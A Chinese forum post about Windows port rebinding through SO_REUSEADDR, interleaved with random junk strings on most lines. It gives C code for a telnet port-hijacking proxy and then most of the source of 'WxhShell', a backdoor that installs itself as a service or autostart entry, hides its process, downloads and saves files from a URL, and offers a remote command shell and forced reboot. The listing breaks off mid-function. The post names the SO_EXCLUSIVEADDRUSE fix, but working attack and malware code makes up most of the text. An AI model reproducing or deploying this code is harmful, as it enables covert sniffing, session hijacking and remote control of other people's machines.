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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L|w-s4L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f|0QN#$  
4pT|r6!<  
  saddr.sin_family = AF_INET; nWu4HFi  
elgQcJ99  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `p|vutk)U  
>#|Yoc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vDvGT<d  
^W'[l al.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 o |iLBh$)  
ulM&kw.4i  
  这意味着什么?意味着可以进行如下的攻击: ;~1JbP  
w'XgW0j{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 efR$s{n!  
o hlVc%a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $(=1A>40  
]H2aYi$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $t}1|q|  
,[ L$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1}*;  
jRAL(r|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0g-ESf``{n  
c"1d#8J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p\ S3A(  
K6 7? d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;i>E @  
|lV9?#!  
  #include W|U1AXU7/  
  #include ]E^f8s0#V  
  #include U^\~{X  
  #include    BH a>2N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6QQ oHYtZ  
  int main() <vDm(-i3  
  { >oDP(]YGg  
  WORD wVersionRequested; xS1|Z|&  
  DWORD ret; \ 6 a  
  WSADATA wsaData; 9YhsJ~"Q  
  BOOL val; 8$Yf#;m[  
  SOCKADDR_IN saddr; 9zd/5|W  
  SOCKADDR_IN scaddr; D[M?27  
  int err;  H>6;I  
  SOCKET s; IIiN1 Lu,5  
  SOCKET sc; iZk``5tPE  
  int caddsize; G9Tix\SpF  
  HANDLE mt; Hc|U@G  
  DWORD tid;   *pp1Wa7O  
  wVersionRequested = MAKEWORD( 2, 2 ); ^^uD33@_  
  err = WSAStartup( wVersionRequested, &wsaData ); +9CUnRv  
  if ( err != 0 ) { |pSoBA9U  
  printf("error!WSAStartup failed!\n"); IoOnS)  
  return -1; !@k@7~i  
  } MDt?7c  
  saddr.sin_family = AF_INET; BxYA[#fd}  
   Xm'K6JH'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1H7Q[ 2E  
Dj"=kL0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I xBO$ 2  
  saddr.sin_port = htons(23); n4y6Ua9m{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %;$Y|RbmqE  
  { _B FX5ifK  
  printf("error!socket failed!\n"); 38i,\@p`9$  
  return -1; ?GU!ke p  
  } z-gG(  
  val = TRUE; ZNeqsN{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \;gt&*$-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) pUGfm  
  { P@`"MNS  
  printf("error!setsockopt failed!\n"); f om"8iL1  
  return -1; e}AJxBE  
  } (OQ @!R&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4[0?F!%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RNtA4rC>#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1Z8oN3  
] Nipo'N;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) aZ`ags ofk  
  { ; @~*z4U  
  ret=GetLastError(); :Xh`.*{EX  
  printf("error!bind failed!\n"); QC,(rB  
  return -1; KdsvZim0>  
  } "e<. n  
  listen(s,2); z}8L}:  
  while(1) :=v{inN  
  { #q.G_-H4J@  
  caddsize = sizeof(scaddr); 6*33k'=;F  
  //接受连接请求 _O9H. _E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y_hRL&u3W  
  if(sc!=INVALID_SOCKET) wQB{K3  
  { ER1mA:8>E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q.dy $`\  
  if(mt==NULL) N==_'`O1Q0  
  { ^ZWFj?`\UV  
  printf("Thread Creat Failed!\n"); V_622~Tc/[  
  break; dU3 >h[q  
  } &novkkqY  
  } {bqKb=nyZ  
  CloseHandle(mt); %ab)Gs  
  } fO!O" D5  
  closesocket(s); UC/2&7 ?  
  WSACleanup(); v1g5(  
  return 0; UDtbfc7bk  
  }   \&)W#8V  
  DWORD WINAPI ClientThread(LPVOID lpParam) #gJ~ {tA:  
  { lNVAKwW2#  
  SOCKET ss = (SOCKET)lpParam; )Hm[j)YI  
  SOCKET sc; X`QW(rq  
  unsigned char buf[4096]; ?$4R <  
  SOCKADDR_IN saddr; E wsq0D  
  long num; zb}+ m#q  
  DWORD val; w?W e|x3  
  DWORD ret; :P~& b P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^6y4!='ci  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B&k T#  
  saddr.sin_family = AF_INET; G2{M#H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RTBBb:eX  
  saddr.sin_port = htons(23); ;Jn0e:x`E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -7z y  
  { *oX]=u&  
  printf("error!socket failed!\n"); }Rxg E~ F  
  return -1; Ss! 3{VW  
  } gLMea:  
  val = 100; Rue|<d1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C;:L~)C@t  
  { q}v04Yy,o  
  ret = GetLastError(); )-:eQ{st`  
  return -1; ]N <]  
  } %g@3S!lK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b_gN?F7_  
  { uPC qO+f  
  ret = GetLastError(); R:BBNzY}f  
  return -1; tDHHQ  
  } 39aCwhh7v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) giPo;z\c  
  { /uXRZ  
  printf("error!socket connect failed!\n"); ^lc}FN  
  closesocket(sc); 6 #x)W  
  closesocket(ss); ~73i^3yf  
  return -1; <kXV1@>  
  } &Pg-|Ql  
  while(1) K&IrTA j}  
  { jw(> @SXz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 26#Jhb E+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /.kna4k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 QJIItx4hE  
  num = recv(ss,buf,4096,0); y(3c{y@~X  
  if(num>0) Ma=6kX]  
  send(sc,buf,num,0); x1V2|~;p|  
  else if(num==0) Ie&b <k  
  break; u ?G\b{$m  
  num = recv(sc,buf,4096,0); v;bP8)mI  
  if(num>0) 3ES[ N.V#  
  send(ss,buf,num,0); `\F%l?aY  
  else if(num==0) Cs[7% j  
  break; Ei9_h  
  } [b i3%yWh  
  closesocket(ss); vMZ7uO  
  closesocket(sc); L_lDFF  
  return 0 ; 4$zFR}f  
  } _{c|o{2sj  
/#qs(! d  
<f.>jjwFE  
========================================================== s\Pt,I@Y_  
!(]dz~sM  
下边附上一个代码,,WXhSHELL B=gsd0^]  
|j~EV~A J  
========================================================== UrhM)h?%  
YD='M.n\  
#include "stdafx.h" k$-~_^4m  
\n*7# aX/  
#include <stdio.h> U!\2K~  
#include <string.h> l4mUx`!  
#include <windows.h> b%[ nB  
#include <winsock2.h> EAD0<I<>  
#include <winsvc.h> u3*NO )O  
#include <urlmon.h> &8Jg9#  
9o`7Kc/g  
#pragma comment (lib, "Ws2_32.lib") Hw?2XDv j  
#pragma comment (lib, "urlmon.lib") ,u&tB|,W,  
NlF0\+h  
#define MAX_USER   100 // 最大客户端连接数  M<Wn]}7!  
#define BUF_SOCK   200 // sock buffer .@i0U  
#define KEY_BUFF   255 // 输入 buffer ]~prR?  
Y%fVt|  
#define REBOOT     0   // 重启 {C/L5cZ]J  
#define SHUTDOWN   1   // 关机 wTlK4R#  
;J(rw  
#define DEF_PORT   5000 // 监听端口 &}nBenYp  
!]rETP_  
#define REG_LEN     16   // 注册表键长度 pF sCd"zv  
#define SVC_LEN     80   // NT服务名长度 &SjHrOG?  
.|-l+   
// 从dll定义API S$jV|xK B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <}EV*`w4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B?;' lDz*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -Wlp=#9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]>)u+|  
)+n,5W  
// wxhshell配置信息 JQ"`9RNb  
struct WSCFG { Xq,UV  
  int ws_port;         // 监听端口 BKC7kDK3H  
  char ws_passstr[REG_LEN]; // 口令 ceb s.sF:  
  int ws_autoins;       // 安装标记, 1=yes 0=no gV"qV   
  char ws_regname[REG_LEN]; // 注册表键名 `dv}a-Q)c  
  char ws_svcname[REG_LEN]; // 服务名 /ojO>Y[<   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sa;<B:|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t;.^K\S4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m"gni #  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UCn*UX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h"%|\o+3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yV:EK{E  
Ml8 YyF/~  
}; n+{HNr  
~K~b`|1  
// default Wxhshell configuration qIbg 4uE  
struct WSCFG wscfg={DEF_PORT, rU=b?D)n!w  
    "xuhuanlingzhe", (C`FicY  
    1, O{k89{  
    "Wxhshell", [=F>#8=  
    "Wxhshell", W.,% 0cZ  
            "WxhShell Service", R^J.?>0  
    "Wrsky Windows CmdShell Service", ,4^9cFVo  
    "Please Input Your Password: ", Iv$:`7|crX  
  1, q&XCX$N  
  "http://www.wrsky.com/wxhshell.exe", M.ZEqV+k  
  "Wxhshell.exe" jWH{;V&ZV  
    }; f^W[; w  
E?30J3S  
// 消息定义模块 1Pk mg%+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iNod</+"K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .FIt.XPzv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )7&42>t  
char *msg_ws_ext="\n\rExit."; {&2$[g=[ ^  
char *msg_ws_end="\n\rQuit."; yZYK wKG  
char *msg_ws_boot="\n\rReboot..."; .:}.b"%m  
char *msg_ws_poff="\n\rShutdown..."; #ZG3|#Q=L  
char *msg_ws_down="\n\rSave to "; <y@,3DD3A9  
p91`<>Iw  
char *msg_ws_err="\n\rErr!"; |@ikx{W  
char *msg_ws_ok="\n\rOK!"; V bg10pV0  
q} ]'Q -  
char ExeFile[MAX_PATH]; j/)"QiS*?  
int nUser = 0; r<;l{7lY_  
HANDLE handles[MAX_USER]; k? 3S  
int OsIsNt; ;i<$7MR.e  
ic%?uWN  
SERVICE_STATUS       serviceStatus; .6>  hD1'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3B@y &a#&  
*#3*;dya]  
// 函数声明 P^ptsZ%  
int Install(void); wL4Z W8_  
int Uninstall(void); 3/X-Cr+d  
int DownloadFile(char *sURL, SOCKET wsh); `J72+RA  
int Boot(int flag); wgCvD  
void HideProc(void); w3^NL(>  
int GetOsVer(void); 9YR]+*  
int Wxhshell(SOCKET wsl); P DRnW  
void TalkWithClient(void *cs); T}C2e! _O  
int CmdShell(SOCKET sock); 7#QLtU  
int StartFromService(void); OnZF6yfN=3  
int StartWxhshell(LPSTR lpCmdLine); b,nn&B5@{  
OE_ QInb<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  )|v^9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8RVS)D''  
L2KG0i`+  
// 数据结构和表定义 -x{dc7y2  
SERVICE_TABLE_ENTRY DispatchTable[] = !7}IqSs  
{ /-h6`@[  
{wscfg.ws_svcname, NTServiceMain}, ,zQo {.  
{NULL, NULL} U1OFDXHG  
}; c\At0.QCA  
y8G&Wg aCi  
// 自我安装 P Q7A~dw9  
int Install(void) Y4d3n  
{ XMGx ^mn  
  char svExeFile[MAX_PATH]; h@=7R  
  HKEY key; wZ#Rlv,3Wa  
  strcpy(svExeFile,ExeFile); 2@vJ  
n5|l|#c$N  
// 如果是win9x系统,修改注册表设为自启动 4t04}vp  
if(!OsIsNt) { `>s7M.|X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M :V2a<!c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -K"4rz  
  RegCloseKey(key); oizT-8i@N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c! @F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U#bl=%bF  
  RegCloseKey(key); zbNA \.y  
  return 0; dm6~  
    } Z1M>-[j)  
  } Frk cO  
} F!J J6d53y  
else { X 7=fX~s  
7|YN:7iA  
// 如果是NT以上系统,安装为系统服务 J1bA2+5.*e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $(ewk):  
if (schSCManager!=0) ^(ScgoXva  
{ 0n.S,3|  
  SC_HANDLE schService = CreateService P.djd$#  
  ( QdQ d(4/1  
  schSCManager, +iy7e6P  
  wscfg.ws_svcname, ` @8`qXg  
  wscfg.ws_svcdisp, $$hv`HE^l  
  SERVICE_ALL_ACCESS, Ur^j$B}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hrbo:8SL  
  SERVICE_AUTO_START, Ow3P-UzU3  
  SERVICE_ERROR_NORMAL, p,F^0OU2}:  
  svExeFile, <\" .L  
  NULL, (zG.aaz*C  
  NULL, SVagT'BB  
  NULL, H6gU?9%  
  NULL, ' _dzcN,z  
  NULL ~]BMrgn  
  ); ZsZcQj6G,  
  if (schService!=0) BYi)j6"  
  { Po(]rQbE  
  CloseServiceHandle(schService); 9GgA6#  
  CloseServiceHandle(schSCManager); NBjeH tT  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z% 1{  
  strcat(svExeFile,wscfg.ws_svcname); 9I`Y-D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C9qJP^F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3NIUW!gr  
  RegCloseKey(key); +R6a}d/K  
  return 0; 1DE@N1l  
    } *#y;8  
  }  QV qK  
  CloseServiceHandle(schSCManager); '7*=`q{  
} 0)|Q6*E>  
} w%dL 8k  
PmR*}Aw  
return 1; y,=du  
} &3Z?UhH  
<*|?x86~  
// 自我卸载 vMla'5|l  
int Uninstall(void) NOt@M  
{ iWE)<h  
  HKEY key; f?56=& pHY  
K=?VDN  
if(!OsIsNt) { RKZ6}q1n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `TtXZ[gP}  
  RegDeleteValue(key,wscfg.ws_regname); mM/i^zT  
  RegCloseKey(key); |.P/:e9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Fl3#D7K  
  RegDeleteValue(key,wscfg.ws_regname); }CDk9Xk  
  RegCloseKey(key); Q7gY3flg  
  return 0; 9!U@"~yB  
  } -?6MU~"GK  
} GX&b;N  
} j>Ag\@2ME  
else { la <npX  
ceT&Y{T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d2S~)/@S  
if (schSCManager!=0) K93p"nHN  
{ ]"~51HQZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X"q!Y#)  
  if (schService!=0) k~3.MU  
  { bU54-3Ox*  
  if(DeleteService(schService)!=0) { hWo=;#B*  
  CloseServiceHandle(schService); Nt:9MG>1  
  CloseServiceHandle(schSCManager); LfLFu9#:w  
  return 0; ;heHefbvvd  
  } B[5r|d'  
  CloseServiceHandle(schService); xJZ@DR,#  
  } X|DO~{-au  
  CloseServiceHandle(schSCManager); fNu'((J-  
} rw7_5l  
} AeuX Qt  
(08I  
return 1; kJQ#Wz|z]  
} j' 0r'  
?7MqeR4/E  
// 从指定url下载文件 =Gk/k}1  
int DownloadFile(char *sURL, SOCKET wsh) &~e$:8 +  
{ 27F~(!n  
  HRESULT hr; J;$N{"M  
char seps[]= "/"; wsU V;S*X%  
char *token; [5$w=u"j  
char *file; S8, Z;y  
char myURL[MAX_PATH]; sJ z@7.  
char myFILE[MAX_PATH]; wJ<Oo@snm  
h*B|fy4K9U  
strcpy(myURL,sURL); !ZRs;UZ>o  
  token=strtok(myURL,seps); sZ<9A Xk-E  
  while(token!=NULL) CjIu[S1%  
  { ]rN5Ao}2  
    file=token; . lgPFr6X  
  token=strtok(NULL,seps); *Vw\'%p*  
  } 8qEK+yi,  
Rli:x  
GetCurrentDirectory(MAX_PATH,myFILE); A@*:<Hs%  
strcat(myFILE, "\\"); efP&xk  
strcat(myFILE, file); '3IC*o"  
  send(wsh,myFILE,strlen(myFILE),0); -62'}%?A<C  
send(wsh,"...",3,0); E\nv~Y?SG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X>YsQrK(ig  
  if(hr==S_OK) JwnQ0 e  
return 0; t*<#<a  
else I zbU)ud  
return 1; CSPKP#,B0[  
F}GPZ=T;  
} YC_5YY(k  
'_k+WH&  
// 系统电源模块 :!a 2]-D}  
int Boot(int flag) '})0!g<Y  
{ P|tNL}2`;  
  HANDLE hToken; `+:.L>5([  
  TOKEN_PRIVILEGES tkp; !HeSOzN  
^u}L;`L  
  if(OsIsNt) {  7R#+Le)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _p-t<ytnh  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jOpcV|2  
    tkp.PrivilegeCount = 1; .\0isO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?Iyo9&1&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cRd0S*QN2  
if(flag==REBOOT) { G$0c '9d*(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,j:|w+l  
  return 0; +ISz?~8  
} h7*W *Bd  
else { OA/WtQ5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |tR OL 9b  
  return 0; v:Tzv^  
} U7uKRv9  
  } vx_o(wof  
  else { 4'4\ ,o  
if(flag==REBOOT) { iy.2A!f^.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,lA.C%4au~  
  return 0; P}ok*{"J<>  
} Z[\ O=1E,  
else { V7G7&'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )irRO8  
  return 0; Y HSYu  
} "8^5>EJWv  
} u]u[(K5F  
o&AM2U/?  
return 1; ac kqH+'  
} P`s  
-/{ 4Jf Wf  
// win9x进程隐藏模块 kr$ b^"Ku  
void HideProc(void) jdE5~a+  
{ -C(b,F%%  
9% l%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Yt|6 X:l  
  if ( hKernel != NULL ) YEkh3FrbwH  
  { 63`{.yZ*z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V-n&oCS+f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SS`qJZ|w  
    FreeLibrary(hKernel); F:y[@Yn  
  } F":r4`5D"K  
`qd+f{Q  
return; b=~i)`  
} D +_oVob\  
~4P%%b0,o  
// 获取操作系统版本 K=!Bh*  
int GetOsVer(void) `n$5+a+  
{ V $z} K  
  OSVERSIONINFO winfo; 2I*;A5$N1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fDG0BNLY  
  GetVersionEx(&winfo); lds- T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8-y{a.,u.  
  return 1; x(<(t: ?o  
  else ^rvx!?zO  
  return 0; O6IB. >T  
} E0 `Lg c  
dlhdsj:  
// 客户端句柄模块 >^XBa*4;Y  
int Wxhshell(SOCKET wsl) P/EM :  
{ J|'7_0OAx  
  SOCKET wsh; F u&EhGm6  
  struct sockaddr_in client; L\y;LSTU  
  DWORD myID; 6c^e\0q  
asY[8r?U  
  while(nUser<MAX_USER) \(t@1]&jw  
{ u7?$b!hG^C  
  int nSize=sizeof(client); rQ7+q;[J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?wnzTbJN  
  if(wsh==INVALID_SOCKET) return 1; hXqD<?  
)_/5*Ly@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v3v[[96p  
if(handles[nUser]==0) uV 7BK+[O  
  closesocket(wsh); GnP|x}YM  
else s21wxu:  
  nUser++; 7^w >Rj  
  } rvr-XGK36\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pABs!A`N  
wdUBg*X8  
  return 0; ,t\* ZTt$  
} S"Zp D.XX  
]p_@@QTC  
// 关闭 socket 5]M>8ll  
void CloseIt(SOCKET wsh) i1S>yV^l  
{ +3KEzo1=)  
closesocket(wsh); :1Q!$  m  
nUser--; ChCrL [2  
ExitThread(0); 0ez(A  
} B'^:'uG  
L#vI=GpL,r  
// 客户端请求句柄 Duc#$YfGm  
void TalkWithClient(void *cs) oh$Q6G  
{ SPp#f~%m  
l x,"EOP  
  SOCKET wsh=(SOCKET)cs; ^h{)Gf,+\  
  char pwd[SVC_LEN]; q$aaA`E%  
  char cmd[KEY_BUFF]; 4wrk2x[  
char chr[1]; XoA+MuDzpo  
int i,j; ,=l7:n  
tU_y6  
  while (nUser < MAX_USER) { 2(/g}  
i+gQE!  
if(wscfg.ws_passstr) { 3E 3HL7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,\qs4&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;]_o4e6\p  
  //ZeroMemory(pwd,KEY_BUFF); ?.D3'qv  
      i=0; 6 ND`l5  
  while(i<SVC_LEN) { 2 !'A:;  
n> ^[T[.S  
  // 设置超时 <Qxh)@ N  
  fd_set FdRead; H@ t'~ZO  
  struct timeval TimeOut; o1<_fI  
  FD_ZERO(&FdRead); hGiz)v~  
  FD_SET(wsh,&FdRead); b, :QT~g=  
  TimeOut.tv_sec=8; ~i`>adJ:  
  TimeOut.tv_usec=0; f%V4pzOc"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }!6\|;Qsz,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?wO-cnl  
y.[Mnj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'Y]mOD^ p  
  pwd=chr[0]; NMA}Q$o s  
  if(chr[0]==0xd || chr[0]==0xa) { jAud {m*T  
  pwd=0; 9;veuX#(  
  break; 1AU#%wIEP  
  } cq$i  
  i++; QcgfBsv96  
    } &LbJT$}V  
!ET~KL!  
  // 如果是非法用户,关闭 socket [ :zO}r:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )KP5Wud X  
} @r?Uua  
[o?* "c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d 9q(xZ5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :H c0b=  
5|1 T}Z#;  
while(1) { z Toq^T  
l&[;rh  
  ZeroMemory(cmd,KEY_BUFF); C*`mM'#  
0Q^Ikiv   
      // 自动支持客户端 telnet标准   CxfRV L`7  
  j=0; A\#iXOd  
  while(j<KEY_BUFF) { Aj0Tfdxy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2 aL)  
  cmd[j]=chr[0]; mQY_`&Jq  
  if(chr[0]==0xa || chr[0]==0xd) { e#E2>Bj;  
  cmd[j]=0; lEV]4 t_H  
  break; 9 -rNw?7  
  } 0=K9`=5d0  
  j++; rta:f800z  
    } -N"&/)  
1|ra&(=)  
  // 下载文件 mdw7}%5V  
  if(strstr(cmd,"http://")) { z(H^..<!5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v{A KEX*  
  if(DownloadFile(cmd,wsh)) eGX %KT"O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .j-IX1Sa  
  else {6}eN|4~#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?]x|Zy  
  } k2AJXw  
  else { L =8rH5  
e/^=U7:io  
    switch(cmd[0]) { #es9d3 ~\  
  KjQR$-  
  // 帮助 v.]Q$q^  
  case '?': { l \sU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3JVK  
    break; 4 M(-xl?  
  } ,13Lq-  
  // 安装 ;f"0~D2  
  case 'i': { Yboiw y,n  
    if(Install()) E>}4$q[r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X_7UJ jFw"  
    else 3}/&w\$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D#o}cC.  
    break; 2/0v B>  
    } n-%s8aaVf  
  // 卸载 APO>y  
  case 'r': { zF`c8Tsx])  
    if(Uninstall()) rf$X>M=G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rp0ZvEX  
    else d`F&aC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4!LCR}K  
    break; (x3.poSt  
    } pbU!dOU~e  
  // 显示 wxhshell 所在路径 Q*b]_0Rb  
  case 'p': { D)d~3`=#  
    char svExeFile[MAX_PATH]; >>5NX"{  
    strcpy(svExeFile,"\n\r"); ;W^o@*i{>  
      strcat(svExeFile,ExeFile); (t4&,W_spA  
        send(wsh,svExeFile,strlen(svExeFile),0); +9") KQT  
    break; >2Kh0rIH  
    } VL*ovD%-  
  // 重启 Et/&^&=\-  
  case 'b': { a(0*um(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); smry2*g  
    if(Boot(REBOOT)) TEaJG9RU>v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uNHF'?X  
    else { R>(@Z M&  
    closesocket(wsh); 1Y]TA3:  
    ExitThread(0); /=gOa\k|p  
    } 2^l[(N  
    break; =hMY2D  
    } R<=zCE`:  
  // 关机 ~>+]%FPv  
  case 'd': { ivW(*c  
